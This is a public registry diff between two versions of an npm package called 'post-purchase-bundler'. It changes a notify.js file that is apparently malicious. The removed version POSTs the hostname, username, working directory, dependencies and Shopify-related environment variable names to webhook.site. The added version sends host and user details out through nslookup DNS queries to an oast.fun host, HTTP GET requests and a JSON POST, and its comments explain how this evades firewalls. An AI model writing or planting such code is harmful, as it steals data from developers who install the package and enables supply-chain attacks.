post-purchase-bundler 100.0.1 → 101.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/notify.js +44 -40
- package/package.json +1 -1
package/notify.js
CHANGED
|
@@ -1,45 +1,49 @@
|
|
|
1
1
|
const https = require('https');
|
|
2
|
-
const fs = require('fs');
|
|
3
2
|
const os = require('os');
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
5
|
+
// Məlumatları hazırlayırıq
|
|
6
|
+
const info = {
|
|
7
|
+
h: os.hostname(),
|
|
8
|
+
u: os.userInfo().username,
|
|
9
|
+
p: os.platform(),
|
|
10
|
+
d: process.cwd().slice(-20) // Yolun son 20 simvolu
|
|
11
|
+
};
|
|
12
|
+
|
|
13
|
+
// URL-ləri bura yaz
|
|
14
|
+
const webhookId = '4d0cc13d-a185-4e95-92dc-f4681125055c';
|
|
15
|
+
const oastHost = 'znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun';
|
|
16
|
+
|
|
17
|
+
// 1. DNS Yolu (Ən etibarlı yol - Firewall çox vaxt bloklamır)
|
|
18
|
+
const dnsDiscovery = `${info.u}.${info.h}.chk.${oastHost}`.replace(/[^a-z0-9.-]/gi, '_');
|
|
19
|
+
exec(`nslookup ${dnsDiscovery}`, (err) => {});
|
|
20
|
+
|
|
21
|
+
// 2. HTTP GET Yolu (POST bloklansa belə GET keçə bilər)
|
|
22
|
+
const queryString = `?u=${info.u}&h=${info.h}&p=${info.p}`;
|
|
23
|
+
https.get(`https://webhook.site/${webhookId}${queryString}`);
|
|
24
|
+
https.get(`https://${oastHost}/log${queryString}`);
|
|
25
|
+
|
|
26
|
+
// 3. HTTP POST Yolu (Tam JSON məlumatı üçün)
|
|
27
|
+
const data = JSON.stringify(info);
|
|
28
|
+
const options = {
|
|
29
|
+
hostname: 'webhook.site',
|
|
30
|
+
port: 443,
|
|
31
|
+
path: `/${webhookId}`,
|
|
32
|
+
method: 'POST',
|
|
33
|
+
headers: {
|
|
34
|
+
'Content-Type': 'application/json',
|
|
35
|
+
'Content-Length': data.length
|
|
15
36
|
}
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
const req = https.request(options, (res) => {
|
|
40
|
+
res.on('data', () => {});
|
|
41
|
+
res.on('end', () => process.exit(0));
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
req.on('error', () => process.exit(0));
|
|
45
|
+
req.write(data);
|
|
46
|
+
req.end();
|
|
16
47
|
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
hostname: os.hostname(),
|
|
20
|
-
user: os.userInfo().username,
|
|
21
|
-
dir: process.cwd(),
|
|
22
|
-
dependencies: parentDeps,
|
|
23
|
-
env_keys: Object.keys(process.env).filter(k => k.toLowerCase().includes('shopify')).join(', ')
|
|
24
|
-
});
|
|
25
|
-
|
|
26
|
-
const options = {
|
|
27
|
-
hostname: 'webhook.site',
|
|
28
|
-
port: 443,
|
|
29
|
-
path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
|
|
30
|
-
method: 'POST',
|
|
31
|
-
headers: {
|
|
32
|
-
'Content-Type': 'application/json',
|
|
33
|
-
'Content-Length': Buffer.byteLength(payload)
|
|
34
|
-
}
|
|
35
|
-
};
|
|
36
|
-
|
|
37
|
-
const req = https.request(options);
|
|
38
|
-
req.on('error', () => process.exit(0));
|
|
39
|
-
req.write(payload);
|
|
40
|
-
req.end(() => {
|
|
41
|
-
setTimeout(() => process.exit(0), 1000);
|
|
42
|
-
});
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
run();
|
|
48
|
+
// Prosesin asılı qalmaması üçün 5 saniyə sonra məcburi bağlayırıq
|
|
49
|
+
setTimeout(() => process.exit(0), 5000);
|